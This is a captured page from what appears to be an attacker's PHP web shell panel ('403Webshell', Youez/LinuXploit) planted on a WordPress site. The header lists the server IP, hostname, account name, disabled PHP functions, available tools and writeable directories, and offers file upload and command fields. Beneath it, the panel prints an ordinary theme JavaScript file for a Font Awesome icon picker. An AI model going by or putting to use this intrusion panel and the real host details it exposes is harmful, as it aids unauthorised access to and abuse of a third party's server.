403Webshell
Server IP : 194.61.116.167  /  Your IP : 216.73.217.84
Web Server : Apache/2
System : Linux nimbus2000.evosiber.com 5.14.0-503.11.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 12 09:26:13 EST 2024 x86_64
User : evoplastik ( 1130)
PHP Version : 8.1.34
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/evoplastik/public_html/wp-content/themes/mesmerize/customizer/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/evoplastik/public_html/wp-content/themes/mesmerize/customizer/js/font-awesome-icon-control.js
(function (root, $) {

    function openFAManager(title, callback, single) {

        var frame = root.wp.media.cp.extendFrameWithFA(root.wp.media.view.MediaFrame.Select);
        var custom_uploader = new frame({
            title: title,
            button: {
                text: ficTexts.media_button_label
            },
            multiple: !single
        });
        root.wp.media.cp.FAFrame = custom_uploader;


        root.wp.media.cp.FAFrame.on('select', function () {
            var attachment = custom_uploader.state().get('selection').toJSON();
            root.wp.media.cp.FAFrame.content.mode('browse');
            callback(attachment);
        });
        root.wp.media.cp.FAFrame.on('close', function () {
            root.wp.media.cp.FAFrame.content.mode('browse');
            callback(false);
        });


        root.wp.media.cp.FAFrame.open();
        root.wp.media.cp.FAFrame.content.mode('cp_font_awesome');

        root.jQuery(custom_uploader.views.selector).parent().css({
            'z-index': '16000000'
        });

    }

    wp.customize.controlConstructor['font-awesome-icon-control'] = wp.customize.Control.extend({

        ready: function () {

            'use strict';

            var control = this;

            // Change the value
            this.container.on('click', 'i.fa , button', function () {
                openFAManager(ficTexts.media_title, function (response) {

                    if (!response) {
                        return;
                    }
                    var value = response[0].fa;

                    control.container.find('i.fa').attr('class', 'fa ' + value);
                    control.setting.set(value);

                }, false);
            });

        }

    });

})(window, jQuery);

Youez - 2016 - github.com/yon3zu
LinuXploit